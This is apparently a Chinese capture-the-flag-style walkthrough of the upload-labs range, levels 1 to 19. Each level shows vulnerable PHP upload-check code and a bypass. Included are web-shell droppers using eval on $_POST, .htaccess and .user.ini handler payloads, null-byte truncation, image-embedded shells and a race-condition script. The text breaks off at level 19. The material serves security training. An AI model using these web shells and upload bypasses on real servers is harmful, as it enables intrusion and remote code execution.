upload-labs通关(白盒)
这里声明,如果不采用phpstudy2018+php版本5.2.17会导致很多靶场无法复现!!!
Pass-01(前端验证,白名单)
function checkFile() {
var file = document.getElementsByName('upload_file')[0].value;
if (file == null || file == "") {
alert("请选择要上传的文件!");
return false;
}
//定义允许上传的文件类型
var allow_ext = ".jpg|.png|.gif";
//提取上传文件的类型
var ext_name = file.substring(file.lastIndexOf("."));
//判断上传文件类型是否允许上传
if (allow_ext.indexOf(ext_name + "|") == -1) {
var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;
alert(errMsg);
return false;
}
}
众所周知:所有在前端进行的操作都是不安全的
第一种方法:禁用js
一眼js前端,这时候可以直接不用看了,无脑禁用js即可,下载这个插件即可禁用js
禁用后,js无法使用,前端的验证直接失效,随便上传文件。
那么我们先将一句话木马文件创建好
<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST[123]); ?>' ); ?>
代码解释:
fopen()函数:以写入(w)的方式打开一个名叫shell.php的文件,如果没有这个文件,就创建这个文件。
fputs()函数:在第一个参数的文件里,写入后面的字符串内容这句木马的含义就把
<?php @eval($_POST[123]); ?>
写入到我们创建的shell.php中。
上传这个文件,可以在靶场目录里看到我们的webshell(或者通过抓包重放查看到隐藏的地址)
采用蚁剑连接webshell。
下面的文件上传的木马均不采用蚁剑连接,将木马语句换成以下代码。
<?php
phpinfo();
?>
在网站界面查看是否上传成功。
第二种方法:burp修改数据包
读一下代码,可以发现是白名单检测,除了上面的三种文件后缀类型(jpg,png,gif)其他都不可以。
由于是前端检测,我们可以先让文件成功通过检测,之后抓包修改文件后缀,恢复文件的原本后缀。
发送到重放器,修改webshell后缀名为php,发送即可。
用burp抓包也可以看见文件的传输路径,可以知道木马的路径
网站查看:
成功。
Pass-02(MIME Type,白名单)
直接看代码,可以看到危险的魔术方法:$FILES内的参数判断MIME类型,但是仅仅是MIME类型判断是无法防御文件上传的
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name']
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '文件类型不正确,请重新上传!';
}
} else {
$msg = UPLOAD_PATH.'文件夹不存在,请手工创建!';
}
}
第一种:上传jpg文件修改后缀
我们完全可以上传一个jpg文件,之后再将jpg后缀名改成php,和第一关一样
第二种:上传php文件修改Content-Type类型
将php文件发送,抓包上传到重放器之后,直接将根本的MIME类型检测地,Content-Type修该为image/jpeg,和上图一样。
成功。
Pass-03(文件后缀饶过,黑名单)
读代码:
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array('.asp','.aspx','.php','.jsp');
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //收尾去空
if(!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file,$img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
可以看到,将大写绕过,::DATA等都过滤了,但是黑名单却少的可怜,这里提一嘴,白名单永远比黑名单更安全
在php低版本某些特殊后缀仍会被当作php文件解析: php、php2、php3、php4、php5、php6、php7、pht、phtm、phtml。
但是在该环境下:需要设置
那么这里我们尝试一下phtml。
由于代码将我们的文件名进行了重置,所以先抓包将路径找到(重放器中)
Pass-04(.htaccess绕过,黑名单)
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //收尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
一、.htaccess绕过
.htaccess文件是Apache的一个网页配置文件,上传该文件可以修改Apache的操作。
那么就有了一种攻击方法:先上传特定的.htaccess文件,再将我们符合条件的木马上传。
该攻击是通过 Apache 服务器的指令实现。
.htaccess文件的常见配法有以下几种:
AddHandler php5-script .jpg
AddType application/x-httpd-php .jpg
SetHandler application/x-httpd-php
AddType 将特定扩展名文件映射为php文件类型。
AddHandler 使用 php5-script 处理器来解析所匹配到的文件。
SetHandler 将该目录及子目录的所有文件均映射为php文件类型。
.htaccess文件内容如下
<FilesMatch "webshell—low.jpg">
SetHandler application/x-httpd-php
</FilesMatch>
在 Apache 配置中,<FilesMatch>
只会作用于匹配的文件本身,而 不会自动递归到该文件所在的子目录。所以,只有名为 webshell—low.jpg
的文件会被应用 SetHandler application/x-httpd-php
,而目录下其他文件或者子目录的文件则不会自动受到这个规则的影响。
下面才是所有jpg文件都能够映射:
<FilesMatch "\.jpg$">
SetHandler application/x-httpd-php
</FilesMatch>
操作:
上传.htaccess文件,再上传修改过后缀的webshell:webshell—low.jpg
二、Windows加php的符号绕过(偷天换日法)
这一方法的前提是后台不会修改文件名,不然无法实现重写过程
下面符号在Windows系统中在正则匹配上是相等的:
双引号" = 点号.
大于符号> = 问号?
小于符号< = 星号*
windows环境下 不允许文件命名中含有( \ / : * ? " < > | )
如果文件名中含有,会直接截断后面的字符,连同违规字符一同删除,并且创建一个新的空文件
然后将文件后缀名改为( \ / : * ? " < > | )后再次上传,重写空文件文件内容,Webshell代码就会写入原来的空文件中。
1、上传webshell抓包,发送的重放器
修改文件后缀名后上传,可以发现文件夹多了一个php文件,打开是空文件,这一步只执行了创建文件的操作。
2.再次上传和Windows冲突的符号后缀名文件( \ / : * ? " < > | )的正则匹配符号:<>"
注意:直接使用这些符号会产生错误,上传会失败,包括
"
它会将包内的双引号闭合,如果前面没有<>一样会产生错误
所以我们让<>做后缀名,比如
webshell.<>
修改该包后重放即可发现空文件内的内容被重写了。
实现偷天换日。
三、未知文件名后缀
阅读代码,可以发现一切对文件的处理仅仅处理了一次,那么我们可以直接进行两次未知文件名后缀绕过:
可以将webshell抓包修改成:
webshell.php. .
这样deldot函数就只删除最后的点,又被空格阻挡住了之后的删除操作,php后面的点就被保留了下来,strrchr取文件后缀名就是空格,绕过黑名单后,在Windows环境下文件自动删除违法的字符,变成了webshell.php
Pass-05(ini文件绕过,黑名单)
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
一、未知文件名后缀
参考第四关
二、user.ini文件绕过
这里引用师傅的介绍:https://blog.youkuaiyun.com/weixin_54894046/article/details/127239720
前置知识 .user.ini
.user.ini
.user.ini是php的一种配置文件,众所周知php.ini是php的配置文件,它可以做到显示报错,导入扩展,文件解析,web站点路径等等设置
自 PHP 5.3.0 起,PHP 支持基于每个目录的 .htaccess 风格的 INI 文件。此类文件仅被 CGI/FastCGI SAPI 处理。此功能使得 PECL 的 htscanner 扩展作废。如果使用 Apache,则用 .htaccess 文件有同样效果。 官方解释: 除了主 php.ini 之外,PHP 还会在每个目录下扫描 INI 文件,从被执行的 PHP 文件所在目录开始一直上升到 web 根目录($_SERVER[‘DOCUMENT_ROOT’] 所指定的)。如果被执行的 PHP 文件在 web 根目录之外,则只扫描该目录。 这些模式决定着一个 PHP 的指令在何时何地,是否能够被设定。手册中的每个指令都有其所属的模式。例如有些指令可以在 PHP 脚本中用 ini_set() 来设定,而有些则只能在 php.ini 或 httpd.conf 中。
使用条件:
(1)服务器脚本语言为PHP
(2)对应目录下面有可执行的php文件
(3)服务器使用CGI/FastCGI模式
优势跟.htaccess后门比,适用范围更广,nginx/apache/IIS都有效,而.htaccess只适用于apache
auto_prepend_file/auto_append_file
这两个配置可以在php文件执行之前先包含制定的文件,所以我们可以上传一个图片马,这样就可以通过.user.ini使得这个图片马被包含,从而获取webshell
操作:
找到自己环境下的php.ini文件,如图修改一下,将.user.ini文件权限打开。
自己创建一个文件名叫做.user.ini的文件,输入以下内容
auto_prepend_file=webshell.jpg
.user.ini文件里的意思是:所有的php文件都自动包含webshell.jpg文件。.user.ini相当于一个用户自定义的php.ini
将.user.ini上传后,就可以在当前路径下的php文件都包含webshell.jpg。
然后又根据关卡提示:上传目录存在php文件(readme.php),就可以直接访问该readme.php文件,访问成功。
Pass-06(大小写绕过,黑名单)
注意:这里php版本选非nts版本的 才能成功
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
观察源代码,可以发现.htaccess和.ini都被放在黑名单中了,但是可以发现缺少了一句话
$file_ext = strtolower($file_ext); //转换为小写
那么因为在 Windows 操作系统中,文件名是大小写不敏感的,我们可以采用大写绕过黑名单的拦截。
然后通过抓包查看到文件名和地址
将地址复制打开即可
Pass-07(空格绕过,黑名单验证)
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
$file_name = $_FILES['upload_file']['name'];
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file,$img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件不允许上传';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
可以发现,失去了一行代码:
$file_ext = trim($file_ext); //首尾去空
首位去空代码消失,直接可以在文件名后面构造一个空格,在windows系统中会将空格删去,恢复成正常的文件
在响应包中找到文件路径
Pass-08(点绕过,黑名单验证)
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
可以发现,失去了一行代码:
$file_name = deldot($file_name);//删除文件名末尾的点
那么这里可以在文件的后缀.php后面再构造一个.将文件后缀名检测绕过:
Pass-09(::$DATA绕过,黑名单验证)
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
可以发现,失去了一行代码:
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
在window的时候如果文件名+":: D A T A " 会把 : : DATA"会把:: DATA"会把::DATA之后的数据当成文件流处理,不会检测后缀名,:: D A T A 之前的文件名也不会变,那么这就导致文件上传到目标的 w i n d o w s 电脑后,会自动删除 : : DATA之前的文件名也不会变,那么这就导致文件上传到目标的windows电脑后,会自动删除:: DATA之前的文件名也不会变,那么这就导致文件上传到目标的windows电脑后,会自动删除::DATA,前面的内容不变,例如:webshell.php::$DATA变成webshell.php,这也是绕过原理。
可以看到::$DATA消失了
Pass-10(未知文件名后缀绕过,黑名单验证)
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
和第四关的未知文件名后缀绕过方法一样
阅读代码,可以发现一切对文件的处理仅仅处理了一次,那么我们可以直接进行两次未知文件名后缀绕过:
可以将webshell抓包修改成:
webshell.php. .
这样deldot函数就只删除最后的点,又被空格阻挡住了之后的删除操作,php后面的点就被保留了下来,strrchr取文件后缀名就是空格,绕过黑名单后,在Windows环境下文件自动删除违法的字符,变成了webshell.php
Pass-11(双写绕过,黑名单验证)
漏洞产生核心函数str_ireplace()
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess","ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = str_ireplace($deny_ext,"", $file_name);
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
可以看到将文件后缀经过过滤删除对应的字符,但是str_ireplace()仅仅进行一次的删除,所以可以采用经典的双写绕过。
Pass-12(get的00截断,白名单验证)
漏洞实现前提:
php版本<5.3.4
,magic_quotes_gpc
关闭。
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
if(in_array($file_ext,$ext_arr)){
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
}
}
这里我们看得到上传文件使用的函数是move_uploaded_file,这是一个底层为c语言的函数,c语言的字符串遇到0x00会截断,那么可以使用这个原理将文件后缀名读取过程中阻断,从而实现漏洞。
那么具体是怎么实现的呢?
可以看到抓包后,请求包和响应包,请求包的/upload拼进第一段路径,webshell接上第二段(后台改了文件名)
那00截断就需要构造webshell截断webshell_low.jpg,修改文件尾为php使后台解析。
例如:下面图片这样构造就使上传成
/upload/webshell_low.php%00/webshell_low.jpg
url解码后,%00后面的内容虽然在响应包还有显示,但是被丢弃,也就成功的绕过了。
Pass-13(post的00截断,白名单验证)
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
if(in_array($file_ext,$ext_arr)){
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = "上传失败";
}
} else {
$msg = "只允许上传.jpg|.png|.gif类型文件!";
}
}
和get的原理几乎一模一样,get我们都知道会自动解码%00,但是post不会,这里我们就需要手动修改16进制数据
老一套:上传,抓包,发重放器
这里由于00无法直接从键盘输入,我们在这里留一个空格,采用16进制修改包方式
改成00即可,发送,验证。
Pass-14(图片马,白名单)
借用师傅一句话:在绕过内容检测的时候,会制作图片马上传,但是图片马在上传之后,又不能解析。如果网站同时存在文件包含漏洞,利用文件包含无视后缀名,只要被包含的文件内容符合PHP语法规范,任何扩展名都可以被PHP解析的特点来解析上传的图片马。
不懂什么是文件包含漏洞可以看:文件包含漏洞
function getReailFileType($filename){
$file = fopen($filename, "rb");
$bin = fread($file, 2); //只读2字节
fclose($file);
$strInfo = @unpack("C2chars", $bin);
$typeCode = intval($strInfo['chars1'].$strInfo['chars2']);
$fileType = '';
switch($typeCode){
case 255216:
$fileType = 'jpg';
break;
case 13780:
$fileType = 'png';
break;
case 7173:
$fileType = 'gif';
break;
default:
$fileType = 'unknown';
}
return $fileType;
}
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_type = getReailFileType($temp_file);
if($file_type == 'unknown'){
$msg = "文件未知,上传失败!";
}else{
$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = "上传出错!";
}
}
}
可以点击这个看到get传参的漏洞
那么,随便截一张图,丢进010或者winhex,在结尾加上一句话木马,这样一张简单的图片马就制作好了。
上传后采用抓包的方式,查看上传后的文件名称。
构建webshell:
http://localhost:89/include.php?file=./upload/5920241111220503.jpg
Pass-15(图片马:漏洞点:getimagesize,白名单)
先看下面的注释
getimagesize()简介
这个函数功能会对目标文件的16进制去进行一个读取,去读取头几个字符串
function isImage($filename){
$types = '.jpeg|.png|.gif';
if(file_exists($filename)){
$info = getimagesize($filename);//getimagesize($filename):该函数获取图像文件的尺寸以及一些其他信息。返回的数组的第二个元素($info[2])表示图像的 MIME 类型的索引号。
//image_type_to_extension($info[2]):这个函数将图像的类型索引转换为对应的文件扩展名。例如,如果 $info[2] 对应于 JPEG 图像类型,它会返回 .jpeg。
$ext = image_type_to_extension($info[2]);
if(stripos($types,$ext)>=0){
return $ext;
}else{
return false;
}
}else{
return false;
}
}
//简单来说,这个函数读取文件内容读取了文件的MIME类型,判断是否为图片类型
//但是仍然可以使用14关的方法,因为14的图片确实是是图片,只不过在文件的结尾加入了一句话木马,本质上MIME类型还是图片。
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$temp_file = $_FILES['upload_file']['tmp_name'];
$res = isImage($temp_file);
if(!$res){
$msg = "文件未知,上传失败!";
}else{
$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").$res;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = "上传出错!";
}
}
}
那么根据上面的注释,直接14关的秒了,这里不再多做解释。
Pass-16(图片马:漏洞点:exif_imagetype,白名单)
漏洞条件:开启php_exif ,删掉分号即可
function isImage($filename){
//需要开启php_exif模块
$image_type = exif_imagetype($filename);
switch ($image_type) {
case IMAGETYPE_GIF:
return "gif";
break;
case IMAGETYPE_JPEG:
return "jpg";
break;
case IMAGETYPE_PNG:
return "png";
break;
default:
return false;
break;
}
}
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$temp_file = $_FILES['upload_file']['tmp_name'];
$res = isImage($temp_file);
if(!$res){
$msg = "文件未知,上传失败!";
}else{
$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$res;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = "上传出错!";
}
}
}
exif_imagetype函数是PHP中用于确定图像类型的内置函数。它通过读取图像的前几个字节并检查其签名来工作。
还是直接通用图片马处理。
Pass-17(二次渲染绕过,白名单)
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])){
// 获得上传文件的基本信息,文件名,类型,大小,临时文件路径
$filename = $_FILES['upload_file']['name'];
$filetype = $_FILES['upload_file']['type'];
$tmpname = $_FILES['upload_file']['tmp_name'];
$target_path=UPLOAD_PATH.'/'.basename($filename);
// 获得上传文件的扩展名
$fileext= substr(strrchr($filename,"."),1);
//判断文件后缀与类型,合法才进行上传操作
if(($fileext == "jpg") && ($filetype=="image/jpeg")){
if(move_uploaded_file($tmpname,$target_path)){
//使用上传的图片生成新的图片
$im = imagecreatefromjpeg($target_path);
if($im == false){
$msg = "该文件不是jpg格式的图片!";
@unlink($target_path);
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".jpg";
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = UPLOAD_PATH.'/'.$newfilename;
imagejpeg($im,$img_path);
@unlink($target_path);
$is_upload = true;
}
} else {
$msg = "上传出错!";
}
}else if(($fileext == "png") && ($filetype=="image/png")){
if(move_uploaded_file($tmpname,$target_path)){
//使用上传的图片生成新的图片
$im = imagecreatefrompng($target_path);
if($im == false){
$msg = "该文件不是png格式的图片!";
@unlink($target_path);
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".png";
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = UPLOAD_PATH.'/'.$newfilename;
imagepng($im,$img_path);
@unlink($target_path);
$is_upload = true;
}
} else {
$msg = "上传出错!";
}
}else if(($fileext == "gif") && ($filetype=="image/gif")){
if(move_uploaded_file($tmpname,$target_path)){
//使用上传的图片生成新的图片
$im = imagecreatefromgif($target_path);
if($im == false){
$msg = "该文件不是gif格式的图片!";
@unlink($target_path);
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".gif";
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = UPLOAD_PATH.'/'.$newfilename;
imagegif($im,$img_path);
@unlink($target_path);
$is_upload = true;
}
} else {
$msg = "上传出错!";
}
}else{
$msg = "只允许上传后缀为.jpg|.png|.gif的图片文件!";
}
}
阅读代码,看注释,可知重新生成了一张新图片,那么先尝试上传:
这里只进行gif文件的上传
上传过后可以发现并没有实现木马,从后台查看图片,010分析一下,看看修改了哪一部分。
可以发现下面的蓝色色框没有修改,那么把木马插在这里就可以了。(注意:一定不要直接粘贴,是替换,字节数改变会导致文件损坏)
Pass-18(条件竞争,白名单)
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_name = $_FILES['upload_file']['name'];
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_ext = substr($file_name,strrpos($file_name,".")+1);
$upload_file = UPLOAD_PATH . '/' . $file_name;
if(move_uploaded_file($temp_file, $upload_file)){
if(in_array($file_ext,$ext_arr)){
$img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
rename($upload_file, $img_path);
$is_upload = true;
}else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
unlink($upload_file);
}
}else{
$msg = '上传出错!';
}
}
可以看到代码逻辑,先将文件上传以后再判断是否是在白名单的文件类型,然后不符合白名单的文件删除掉,但是这里的漏洞产生原因就是这串代码的执行是需要时间的,那如果攻击者卡这个时间点,通过那些没有被立即删除的文件执行代码,注入可以长时间存在的木马,就会导致条件竞争。
我们可以用burp进行多次发包,再利用脚本访问我们生成的文件,执行没有被及时删除的代码。
上传php文件并抓包发送到intruder:
<?php fputs(fopen('webshell.php','w'),'<?php @eval($_POST[123]);?>');?>
burp设置:
由于中文版的新建资源池有些问题,我这里直接采用在设置里添加默认的资源池
修改资源池进行攻击
写一个脚本去访问我们的文件:
import requests
while 1:
if requests.get('http://localhost:89/upload/webshell_create.php').status_code==200:
print('ok')
break
当显示ok的时候就说明执行脚本成功了。
上传成功,之后用蚁剑连接即可。
Pass-19(条件竞争+图片马,白名单)
//index.php
$is_upload = false;
$msg = null;
if (isset($_POST['submit']))
{
